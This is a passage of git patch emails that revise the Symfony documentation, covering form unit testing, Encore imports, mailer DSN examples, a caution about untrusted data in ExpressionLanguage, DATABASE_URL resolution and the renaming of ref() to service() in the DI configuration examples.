                         The "%alias_id%" service alias is deprecated. Don't use it anymore.
                     </deprecated>
@@ -215,10 +215,10 @@ or you decided not to maintain it anymore), you can deprecate its definition:
             ->setAlias('app.mailer', 'App\Mail\PhpMailer')
 
             // this outputs the following generic deprecation message:
-            // Since acme/package 1.2: The "app.mailer" service is deprecated. You should stop using it, as it will be removed in the future
+            // Since acme/package 1.2: The "app.mailer" service alias is deprecated. You should stop using it, as it will be removed in the future
             ->setDeprecated('acme/package', '1.2')
 
-            // you can also define a custom deprecation message (%sevice_id%/%alias_id% placeholder is available)
+            // you can also define a custom deprecation message (%alias_id% placeholder is available)
             ->setDeprecated(
                 'acme/package',
                 '1.2',

From de0d1fb9cf47982a9497a49dd4562310175c95f8 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Thu, 16 Apr 2020 13:55:45 +0200
Subject: [PATCH 0733/7107] [Form] Updated unit testing article

---
 form/unit_testing.rst | 87 ++++++++++++++++++++++++++++---------------
 1 file changed, 57 insertions(+), 30 deletions(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index c09cb2a9a0c..e3d501c8037 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -23,9 +23,9 @@ factory but it would be complex. It is better to pass it to FormFactory like it
 is done in a real application. It is simple to bootstrap and you can trust
 the Symfony components enough to use them as a testing base.
 
-There is already a class that you can benefit from for simple FormTypes
-testing: :class:`Symfony\\Component\\Form\\Test\\TypeTestCase`. It is used to
-test the core types and you can use it to test your types too.
+There is already a class that you can benefit from for testing:
+:class:`Symfony\\Component\\Form\\Test\\TypeTestCase`. It is used to test the
+core types and you can use it to test your types too.
 
 .. note::
 
@@ -54,27 +54,35 @@ The simplest ``TypeTestCase`` implementation looks like the following::
                 'test2' => 'test2',
             ];
 
-            $objectToCompare = new TestObject();
-            // $objectToCompare will retrieve data from the form submission; pass it as the second argument
-            $form = $this->factory->create(TestedType::class, $objectToCompare);
+            $formData = new TestObject();
+            // $formData will retrieve data from the form submission; pass it as the second argument
+            $form = $this->factory->create(TestedType::class, $formData);
 
-            $object = new TestObject();
+            $expected = new TestObject();
             // ...populate $object properties with the data stored in $formData
 
             // submit the data to the form directly
             $form->submit($formData);
 
+            // This check ensures there are no transformation failures
             $this->assertTrue($form->isSynchronized());
 
-            // check that $objectToCompare was modified as expected when the form was submitted
-            $this->assertEquals($object, $objectToCompare);
+            // check that $formData was modified as expected when the form was submitted
+            $this->assertEquals($expected, $formData);
+        }
+
+        public function testCustomFormView()
+        {
+            $formData = new TestObject();
+            // ... prepare the data as you need
 
-            $view = $form->createView();
-            $children = $view->children;
+            // The initial data may be used to compute custom view variables
+            $view = $this->factory->create(TestedType::class, $formData)
+                ->createView()
+            ;
 
-            foreach (array_keys($formData) as $key) {
-                $this->assertArrayHasKey($key, $children);
-            }
+            $this->assertArrayHasKey('custom_var', $view->vars);
+            $this->assertSame('expected value', $view->vars['custom_var']);
         }
     }
 
@@ -84,7 +92,7 @@ First you verify if the ``FormType`` compiles. This includes basic class
 inheritance, the ``buildForm()`` function and options resolution. This should
 be the first test you write::
 
-    $form = $this->factory->create(TestedType::class, $objectToCompare);
+    $form = $this->factory->create(TestedType::class, $formData);
 
 This test checks that none of your data transformers used by the form
 failed. The :method:`Symfony\\Component\\Form\\FormInterface::isSynchronized`
@@ -97,30 +105,38 @@ method is only set to ``false`` if a data transformer throws an exception::
 
     Don't test the validation: it is applied by a listener that is not
     active in the test case and it relies on validation configuration.
-    Instead, unit test your custom constraints directly.
+    Instead, unit test your custom constraints directly or read how
+    to :ref:`add custom extensions <form_unit_testing-adding_custom_extensions>`
+    in the last section of this page.
 
-Next, verify the submission and mapping of the form. The test below
-checks if all the fields are correctly specified::
+Next, verify the submission and mapping of the form. The test below checks if
+all the fields are correctly specified::
 
-    $this->assertEquals($object, $objectToCompare);
+    $this->assertEquals($expected, $formData);
 
-Finally, check the creation of the ``FormView``. You should check if all
-widgets you want to display are available in the children property::
+Finally, check the creation of the ``FormView``. You can check that a custom
+variable exists and will be available in your form themes::
 
-    $view = $form->createView();
-    $children = $view->children;
-
-    foreach (array_keys($formData) as $key) {
-        $this->assertArrayHasKey($key, $children);
-    }
+    $this->assertArrayHasKey('custom_var', $view->vars);
+    $this->assertSame('expected value', $view->vars['custom_var']);
 
 .. tip::
 
     Use :ref:`PHPUnit data providers <testing-data-providers>` to test multiple
     form conditions using the same test code.
 
-Testings Types from the Service Container
------------------------------------------
+.. caution::
+
+    When your type relies on the ``EntityType``, you should register the
+    :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmExtension`, which will
+    need to mock the ``ManagerRegistry``.
+
+    However, If you cannot use a mock to write your test, you should extend
+    the ``KernelTestCase`` instead and use the ``form.factory`` service to
+    create the form.
+
+Testings Types Registered as Services
+-------------------------------------
 
 Your form may be used as a service, as it depends on other services (e.g. the
 Doctrine entity manager). In these cases, using the above code won't work, as
@@ -165,14 +181,18 @@ make sure the ``FormRegistry`` uses the created instance::
 
         public function testSubmitValidData()
         {
+            // ...
+
             // Instead of creating a new instance, the one created in
             // getExtensions() will be used.
-            $form = $this->factory->create(TestedType::class);
+            $form = $this->factory->create(TestedType::class, $formData);
 
             // ... your test
         }
     }
 
+.. _form_unit_testing-adding_custom_extensions:
+
 Adding Custom Extensions
 ------------------------
 
@@ -211,6 +231,13 @@ allows you to return a list of extensions to register::
         // ... your tests
     }
 
+.. note::
+
+    By Default only the
+    :class:`Symfony\\Component\\Form\\Extension\\Core\\CoreExtension` is
+    registered in tests. You can find other extensions from the Form component
+    in the ``Symfony\Component\Form\Extension`` namespace.
+
 It is also possible to load custom form types, form type extensions or type
 guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypes`,
 :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeExtensions`

From 0510d0349dfdf3fa1191c48342a2763838759c62 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 May 2020 13:49:06 +0200
Subject: [PATCH 0734/7107] Minor fixes

---
 form/unit_testing.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index e3d501c8037..bc7da36f443 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -78,8 +78,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
 
             // The initial data may be used to compute custom view variables
             $view = $this->factory->create(TestedType::class, $formData)
-                ->createView()
-            ;
+                ->createView();
 
             $this->assertArrayHasKey('custom_var', $view->vars);
             $this->assertSame('expected value', $view->vars['custom_var']);
@@ -233,7 +232,7 @@ allows you to return a list of extensions to register::
 
 .. note::
 
-    By Default only the
+    By default only the
     :class:`Symfony\\Component\\Form\\Extension\\Core\\CoreExtension` is
     registered in tests. You can find other extensions from the Form component
     in the ``Symfony\Component\Form\Extension`` namespace.

From 627b0b580c4de9d7aedff377c7e90b8125161ba4 Mon Sep 17 00:00:00 2001
From: Dan Zera <dczera@gmail.com>
Date: Mon, 18 May 2020 19:49:56 -0700
Subject: [PATCH 0735/7107] update encore setup docs to reflect current results
 of Encore installation

---
 frontend/encore/simple-example.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 5fd9202c9b6..aa387e1e337 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -9,15 +9,15 @@ CSS and one JS file, organized into an ``assets/`` directory:
 
 With Encore, think of your ``app.js`` file like a standalone JavaScript
 application: it will *require* all of the dependencies it needs (e.g. jQuery or React),
-*including* any CSS. Your ``app.js`` file is already doing this with a special
-``require()`` function:
+*including* any CSS. Your ``app.js`` file is already doing this with a JavaScript
+``import`` statement:
 
 .. code-block:: javascript
 
     // assets/js/app.js
     // ...
 
-    require('../css/app.css');
+    import '../css/app.css';
 
     // var $ = require('jquery');
 

From ebdc4025384af8f22965620055666c808c7e3fb3 Mon Sep 17 00:00:00 2001
From: Dan <dczera@gmail.com>
Date: Sun, 17 May 2020 17:38:09 -0700
Subject: [PATCH 0736/7107] Update templates.rst

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 48fa45eaf14..fb30f9a7c03 100644
--- a/templates.rst
+++ b/templates.rst
@@ -953,7 +953,7 @@ JavaScript popup window.
 
 This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
 example seems harmless, the attacker could write more advanced JavaScript code
-to performs malicious actions.
+to perform malicious actions.
 
 To prevent this attack, use *"output escaping"* to transform the characters
 which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).

From 05e2eb2cfbb54d09d7480bf9b7e318e1650ddf20 Mon Sep 17 00:00:00 2001
From: Dilantha Nanayakkara <450922+dilantha@users.noreply.github.com>
Date: Tue, 19 May 2020 22:13:07 +1000
Subject: [PATCH 0737/7107] Show with an example how to add a custom smtp port

---
 mailer.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index e45f2551428..2ec9bf0a67e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -26,7 +26,12 @@ can deliver emails over ``smtp`` by configuring your ``.env`` file:
 .. code-block:: bash
 
     # .env
-    MAILER_DSN=smtp://user:pass@smtp.example.com
+    MAILER_DSN=smtp://user:pass@smtp.example.com:port
+
+The `user`, `pass` and `port` are optional. The port defaults to 25. If you have a custom port like 1025 which MailHog uses then the MAILER_DSN will be like this.
+
+    # .env
+    MAILER_DSN=smtp://localhost:1025
 
 .. warning::
 

From d991ca411ac096788f279deabec385ef7558e50e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 May 2020 16:18:22 +0200
Subject: [PATCH 0738/7107] Minor reword

---
 mailer.rst | 10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2ec9bf0a67e..2e3d7a1c881 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -21,18 +21,14 @@ Transport Setup
 ---------------
 
 Emails are delivered via a "transport". And without installing anything else, you
-can deliver emails over ``smtp`` by configuring your ``.env`` file:
+can deliver emails over ``smtp`` by configuring your ``.env`` file (the
+``user``, ``pass`` and ``port`` parameters are optional):
 
 .. code-block:: bash
 
     # .env
     MAILER_DSN=smtp://user:pass@smtp.example.com:port
 
-The `user`, `pass` and `port` are optional. The port defaults to 25. If you have a custom port like 1025 which MailHog uses then the MAILER_DSN will be like this.
-
-    # .env
-    MAILER_DSN=smtp://localhost:1025
-
 .. warning::
 
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
@@ -126,7 +122,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
                 ->subject('Time for Symfony Mailer!')
                 ->text('Sending emails is fun again!')
                 ->html('<p>See Twig integration for better HTML integration!</p>');
-                
+
             $mailer->send($email);
 
             // ...

From 2818f3931c3fa2ef261f8ac52dda7a116fd78eab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 May 2020 17:11:37 +0200
Subject: [PATCH 0739/7107] [ExpressionLanguage] Added a security caution about
 passing untrusted data

---
 components/expression_language.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index db1fbb99955..7bac54dba05 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -107,6 +107,13 @@ PHP type (including objects)::
 For more information, see the :doc:`/components/expression_language/syntax`
 entry, especially :ref:`component-expression-objects` and :ref:`component-expression-arrays`.
 
+.. caution::
+
+    When using variables in expressions, avoid passing untrusted data into the
+    array of variables. If you can't avoid that, sanitize non-alphanumeric
+    characters in untrusted data to prevent malicious users from injecting
+    control characters and altering the expression.
+
 Caching
 -------
 

From 83b71709fe95c99910aca6f69f250f43457b93bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 May 2020 17:40:44 +0200
Subject: [PATCH 0740/7107] Resolve the DATABASE_URL env var in config examples

---
 configuration.rst                     |  6 +++---
 doctrine/multiple_entity_managers.rst | 12 ++++++------
 reference/configuration/framework.rst |  6 +++---
 3 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 7d4be00346c..fb12f55db91 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -453,7 +453,7 @@ This example shows how you could configure the database connection using an env
         doctrine:
             dbal:
                 # by convention the env var names are always uppercase
-                url: '%env(DATABASE_URL)%'
+                url: '%env(resolve:DATABASE_URL)%'
             # ...
 
     .. code-block:: xml
@@ -470,7 +470,7 @@ This example shows how you could configure the database connection using an env
 
             <doctrine:config>
                 <!-- by convention the env var names are always uppercase -->
-                <doctrine:dbal url="%env(DATABASE_URL)%"/>
+                <doctrine:dbal url="%env(resolve:DATABASE_URL)%"/>
             </doctrine:config>
 
         </container>
@@ -481,7 +481,7 @@ This example shows how you could configure the database connection using an env
         $container->loadFromExtension('doctrine', [
             'dbal' => [
                 // by convention the env var names are always uppercase
-                'url' => '%env(DATABASE_URL)%',
+                'url' => '%env(resolve:DATABASE_URL)%',
             ]
         ]);
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 29aa03f5f11..3cbfbd75eb3 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -34,13 +34,13 @@ The following configuration code shows how you can configure two entity managers
                 connections:
                     default:
                         # configure these for your database server
-                        url: '%env(DATABASE_URL)%'
+                        url: '%env(resolve:DATABASE_URL)%'
                         driver: 'pdo_mysql'
                         server_version: '5.7'
                         charset: utf8mb4
                     customer:
                         # configure these for your database server
-                        url: '%env(DATABASE_CUSTOMER_URL)%'
+                        url: '%env(resolve:DATABASE_CUSTOMER_URL)%'
                         driver: 'pdo_mysql'
                         server_version: '5.7'
                         charset: utf8mb4
@@ -83,7 +83,7 @@ The following configuration code shows how you can configure two entity managers
                 <doctrine:dbal default-connection="default">
                     <!-- configure these for your database server -->
                     <doctrine:connection name="default"
-                        url="%env(DATABASE_URL)%"
+                        url="%env(resolve:DATABASE_URL)%"
                         driver="pdo_mysql"
                         server_version="5.7"
                         charset="utf8mb4"
@@ -91,7 +91,7 @@ The following configuration code shows how you can configure two entity managers
 
                     <!-- configure these for your database server -->
                     <doctrine:connection name="customer"
-                        url="%env(DATABASE_CUSTOMER_URL)%"
+                        url="%env(resolve:DATABASE_CUSTOMER_URL)%"
                         driver="pdo_mysql"
                         server_version="5.7"
                         charset="utf8mb4"
@@ -133,14 +133,14 @@ The following configuration code shows how you can configure two entity managers
                 'connections' => [
                     // configure these for your database server
                     'default' => [
-                        'url'            => '%env(DATABASE_URL)%',
+                        'url'            => '%env(resolve:DATABASE_URL)%',
                         'driver'         => 'pdo_mysql',
                         'server_version' => '5.7',
                         'charset'        => 'utf8mb4',
                     ],
                     // configure these for your database server
                     'customer' => [
-                        'url'            => '%env(DATABASE_CUSTOMER_URL)%',
+                        'url'            => '%env(resolve:DATABASE_CUSTOMER_URL)%',
                         'driver'         => 'pdo_mysql',
                         'server_version' => '5.7',
                         'charset'        => 'utf8mb4',
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a367670e7f3..f0d88114f8f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1255,7 +1255,7 @@ You can also configure the session handler with a DSN. For example:
                 # ...
                 handler_id: 'redis://localhost'
                 handler_id: '%env(REDIS_URL)%'
-                handler_id: '%env(DATABASE_URL)%'
+                handler_id: '%env(resolve:DATABASE_URL)%'
                 handler_id: 'file://%kernel.project_dir%/var/sessions'
 
     .. code-block:: xml
@@ -1273,7 +1273,7 @@ You can also configure the session handler with a DSN. For example:
                 <framework:session enabled="true"
                     handler-id="redis://localhost"
                     handler-id="%env(REDIS_URL)%"
-                    handler-id="%env(DATABASE_URL)%"
+                    handler-id="%env(resolve:DATABASE_URL)%"
                     handler-id="file://%kernel.project_dir%/var/sessions"/>
             </framework:config>
         </container>
@@ -1286,7 +1286,7 @@ You can also configure the session handler with a DSN. For example:
                 // ...
                 'handler_id' => 'redis://localhost',
                 'handler_id' => '%env(REDIS_URL)%',
-                'handler_id' => '%env(DATABASE_URL)%',
+                'handler_id' => '%env(resolve:DATABASE_URL)%',
                 'handler_id' => 'file://%kernel.project_dir%/var/sessions',
             ],
         ]);

From 72287a2208583c7dc24193d9b28e85f6fecebd71 Mon Sep 17 00:00:00 2001
From: Loenix <florent@sowapps.com>
Date: Thu, 21 May 2020 11:29:16 +0200
Subject: [PATCH 0741/7107] Fix yaml spec link

---
 components/yaml/yaml_format.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
index 90496c87c0e..274a0729f28 100644
--- a/components/yaml/yaml_format.rst
+++ b/components/yaml/yaml_format.rst
@@ -339,4 +339,4 @@ The following YAML features are not supported by the Symfony Yaml component:
 
 .. _`ISO-8601`: http://www.iso.org/iso/iso8601
 .. _`YAML website`: http://yaml.org/
-.. _`YAML specification`: http://www.yaml.org/spec/1.2/spec.html
+.. _`YAML specification`: https://yaml.org/spec/1.2/spec.html

From 4af7b86e1da290866ba918853152591d7bc15835 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 May 2020 08:32:28 +0200
Subject: [PATCH 0742/7107] [DI] Renamed some PHP-DSL functions

---
 components/dependency_injection.rst           |  4 ++--
 security/custom_authentication_provider.rst   |  7 ++++---
 service_container.rst                         | 19 ++++++++++---------
 service_container/alias_private.rst           | 12 ++++--------
 service_container/autowiring.rst              |  2 +-
 service_container/calls.rst                   |  4 ++--
 service_container/configurators.rst           |  9 +++++----
 service_container/factories.rst               | 11 ++++++-----
 service_container/injection_types.rst         |  8 ++++----
 service_container/optional_dependencies.rst   |  6 +++---
 service_container/parent_services.rst         |  9 +++++----
 service_container/service_decoration.rst      | 11 ++++++-----
 .../service_subscribers_locators.rst          |  9 +++++----
 13 files changed, 57 insertions(+), 54 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 0d842e9c415..ef2c449e23f 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -303,11 +303,11 @@ config files:
             ;
 
             $services->set('newsletter_manager', 'NewsletterManager')
-                ->call('setMailer', [ref('mailer')])
+                // In versions earlier to Symfony 5.1 the service() function was called ref()
+                ->call('setMailer', [service('mailer')])
             ;
         };
 
-
 Learn More
 ----------
 
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index dfbdc4938c1..c51bb7dc9c2 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -433,13 +433,14 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
             $services = $configurator->services();
 
             $services->set(WsseProvider::class)
-                ->arg('$cachePool', ref('cache.app'))
+                ->arg('$cachePool', service('cache.app'))
             ;
 
             $services->set(WsseListener::class)
                 ->args([
-                    ref('security.token_storage'),
-                    ref('security.authentication.manager'),
+                    // In versions earlier to Symfony 5.1 the service() function was called ref()
+                    service('security.token_storage'),
+                    service('security.authentication.manager'),
                 ])
             ;
         };
diff --git a/service_container.rst b/service_container.rst
index 0d622ee6e68..bbbab8a6933 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -526,7 +526,8 @@ parameter and in PHP config use the ``Reference`` class:
             $services = $configurator->services();
 
             $services->set(MessageGenerator::class)
-                ->args([ref('logger')])
+                // In versions earlier to Symfony 5.1 the service() function was called ref()
+                ->args([service('logger')])
             ;
         };
 
@@ -633,7 +634,7 @@ But, you can control this and pass in a different logger:
 
             // explicitly configure the service
             $services->set(SiteUpdateManager::class)
-                ->arg('$logger', ref('monolog.logger.request'))
+                ->arg('$logger', service('monolog.logger.request'))
             ;
         };
 
@@ -738,15 +739,15 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
 
                     // pass this service to any $requestLogger argument for any
                     // service that's defined in this file
-                    ->bind('$requestLogger', ref('monolog.logger.request'))
+                    ->bind('$requestLogger', service('monolog.logger.request'))
 
                     // pass this service for any LoggerInterface type-hint for any
                     // service that's defined in this file
-                    ->bind(LoggerInterface::class, ref('monolog.logger.request'))
+                    ->bind(LoggerInterface::class, service('monolog.logger.request'))
 
                     // optionally you can define both the name and type of the argument to match
                     ->bind('string $adminEmail', 'manager@example.com')
-                    ->bind(LoggerInterface::class.' $requestLogger', ref('monolog.logger.request'))
+                    ->bind(LoggerInterface::class.' $requestLogger', service('monolog.logger.request'))
                     ->bind('iterable $rules', tagged_iterator('app.foo.rule'))
             ;
 
@@ -1113,16 +1114,16 @@ admin email. In this case, each needs to have a unique service id:
                 ->autowire(false)
                 // manually wire all arguments
                 ->args([
-                    ref(MessageGenerator::class),
-                    ref('mailer'),
+                   service(MessageGenerator::class),
+                   service('mailer'),
                     'superadmin@example.com',
                 ]);
 
             $services->set('site_update_manager.normal_users', SiteUpdateManager::class)
                 ->autowire(false)
                 ->args([
-                    ref(MessageGenerator::class),
-                    ref('mailer'),
+                    service(MessageGenerator::class),
+                    service('mailer'),
                     'contact@example.com',
                 ]);
 
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index ffde46bfce6..b4ad890b9ad 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -267,20 +267,16 @@ The following example shows how to inject an anonymous service into another serv
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->args([service(AnonymousBar::class)])
+                // In versions earlier to Symfony 5.1 the inline_service() function was called service()
+                ->args([inline_service(AnonymousBar::class)])
         };
 
-.. versionadded:: 5.1
-
-    The ``service()`` function was introduced in Symfony 5.1. In previous
-    versions it was called ``inline()``.
-
 .. note::
 
     Anonymous services do *NOT* inherit the definitions provided from the
     defaults defined in the configuration. So you'll need to explicitly mark
     service as autowired or autoconfigured when doing an anonymous service
-    e.g.: ``service(Foo::class)->autowire()->autoconfigure()``.
+    e.g.: ``inline_service(Foo::class)->autowire()->autoconfigure()``.
 
 Using an anonymous service as a factory looks like this:
 
@@ -323,7 +319,7 @@ Using an anonymous service as a factory looks like this:
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->factory([service(AnonymousBar::class), 'constructFoo'])
+                ->factory([inline_service(AnonymousBar::class), 'constructFoo'])
         };
 
 Deprecating Services
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 12dc10999e3..f3fd75d8b54 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -507,7 +507,7 @@ the injection::
 
                 // If you wanted to choose the non-default service and do not
                 // want to use a named autowiring alias, wire it manually:
-                //     ->arg('$transformer', ref(UppercaseTransformer::class))
+                //     ->arg('$transformer', service(UppercaseTransformer::class))
                 // ...
         };
 
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 59e59eb18e4..b929c998abc 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -72,10 +72,10 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
             // ...
 
             $services->set(MessageGenerator::class)
-                ->call('setLogger', [ref('logger')]);
+                // In versions earlier to Symfony 5.1 the service() function was called ref()
+                ->call('setLogger', [service('logger')]);
         };
 
-
 To provide immutable services, some classes implement immutable setters.
 Such setters return a new instance of the configured class
 instead of mutating the object they were called on::
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index ec5e566fbbb..bf196b59575 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -179,11 +179,12 @@ all the classes are already loaded as services. All you need to do is specify th
             $services->load('App\\', '../src/*');
 
             // override the services to set the configurator
+            // In versions earlier to Symfony 5.1 the service() function was called ref()
             $services->set(NewsletterManager::class)
-                ->configurator(ref(EmailConfigurator::class), 'configure');
+                ->configurator(service(EmailConfigurator::class), 'configure');
 
             $services->set(GreetingCardManager::class)
-                ->configurator(ref(EmailConfigurator::class), 'configure');
+                ->configurator(service(EmailConfigurator::class), 'configure');
         };
 
 .. _configurators-invokable:
@@ -250,10 +251,10 @@ routes can reference :ref:`invokable controllers <controller-service-invoke>`.
 
             // override the services to set the configurator
             $services->set(NewsletterManager::class)
-                ->configurator(ref(EmailConfigurator::class));
+                ->configurator(service(EmailConfigurator::class));
 
             $services->set(GreetingCardManager::class)
-                ->configurator(ref(EmailConfigurator::class));
+                ->configurator(service(EmailConfigurator::class));
         };
 
 That's it! When requesting the ``App\Mail\NewsletterManager`` or
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 52b843eb88a..e4011727be8 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -158,7 +158,8 @@ Configuration of the service container then looks like this:
             // second, use the factory service as the first argument of the 'factory'
             // method and the factory method as the second argument
             $services->set(NewsletterManager::class)
-                ->factory([ref(NewsletterManagerFactory::class), 'createNewsletterManager']);
+                // In versions earlier to Symfony 5.1 the service() function was called ref()
+                ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager']);
         };
 
 .. _factories-invokable:
@@ -228,8 +229,8 @@ method name, just as routes can reference
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->args([ref('templating')])
-                ->factory(ref(NewsletterManagerFactory::class));
+                ->args([service('templating')])
+                ->factory(service(NewsletterManagerFactory::class));
         };
 
 .. _factories-passing-arguments-factory-method:
@@ -289,8 +290,8 @@ previous examples takes the ``templating`` service as an argument:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->factory([ref(NewsletterManagerFactory::class), 'createNewsletterManager'])
-                ->args([ref('templating')])
+                ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager'])
+                ->args([service('templating')])
             ;
         };
 
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index cc42c1cdf32..b0b59ee8ea8 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -77,10 +77,10 @@ service container configuration:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->args(ref('mailer'));
+                // In versions earlier to Symfony 5.1 the service() function was called ref()
+                ->args(service('mailer'));
         };
 
-
 .. tip::
 
     Type hinting the injected object means that you can be sure that a suitable
@@ -270,7 +270,7 @@ that accepts the dependency::
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->call('setMailer', [ref('mailer')]);
+                ->call('setMailer', [service('mailer')]);
         };
 
 This time the advantages are:
@@ -350,7 +350,7 @@ Another possibility is setting public fields of the class directly::
             $services = $configurator->services();
 
             $services->set('app.newsletter_manager', NewsletterManager::class)
-                ->property('mailer', ref('mailer'));
+                ->property('mailer', service('mailer'));
         };
 
 There are mainly only disadvantages to using property injection, it is similar
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index 3593934c5c3..5071e563932 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -42,10 +42,10 @@ if the service does not exist:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->args([ref('logger')->nullOnInvalid()]);
+                // In versions earlier to Symfony 5.1 the service() function was called ref()
+                ->args([service('logger')->nullOnInvalid()]);
         };
 
-
 .. note::
 
     The "null" strategy is not currently supported by the YAML driver.
@@ -99,7 +99,7 @@ call if the service exists and remove the method call if it does not:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->call('setLogger', [ref('logger')->ignoreOnInvalid()])
+                ->call('setLogger', [service('logger')->ignoreOnInvalid()])
             ;
         };
 
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 666386c7654..09a152b64b5 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -128,8 +128,9 @@ duplicated service definitions:
 
             $services->set(BaseDoctrineRepository::class)
                 ->abstract()
-                ->args([ref('doctrine.orm.entity_manager')])
-                ->call('setLogger', [ref('logger')])
+                ->args([service('doctrine.orm.entity_manager')])
+                // In versions earlier to Symfony 5.1 the service() function was called ref()
+                ->call('setLogger', [service('logger')])
             ;
 
             $services->set(DoctrineUserRepository::class)
@@ -247,13 +248,13 @@ the child class:
 
                 // appends the '@app.username_checker' argument to the parent
                 // argument list
-                ->args([ref('app.username_checker')])
+                ->args([service('app.username_checker')])
             ;
 
             $services->set(DoctrinePostRepository::class)
                 ->parent(BaseDoctrineRepository::class)
 
                 # overrides the first argument
-                ->arg(0, ref('doctrine.custom_entity_manager'))
+                ->arg(0, service('doctrine.custom_entity_manager'))
             ;
         };
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index f4200a85d4c..4b8b400cdf4 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -172,7 +172,8 @@ automatically changed to ``'.inner'``):
             $services->set(DecoratingMailer::class)
                 ->decorate(Mailer::class)
                 // pass the old service as an argument
-                ->args([ref('.inner')]);
+                // In versions earlier to Symfony 5.1 the service() function was called ref()
+                ->args([service('.inner')]);
         };
 
 .. versionadded:: 5.1
@@ -242,7 +243,7 @@ automatically changed to ``'.inner'``):
 
                 $services->set(DecoratingMailer::class)
                     ->decorate(Mailer::class, DecoratingMailer::class.'.wooz')
-                    ->args([ref(DecoratingMailer::class.'.wooz')]);
+                    ->args([service(DecoratingMailer::class.'.wooz')]);
             };
 
 Decoration Priority
@@ -303,11 +304,11 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
             $services->set(Bar::class)
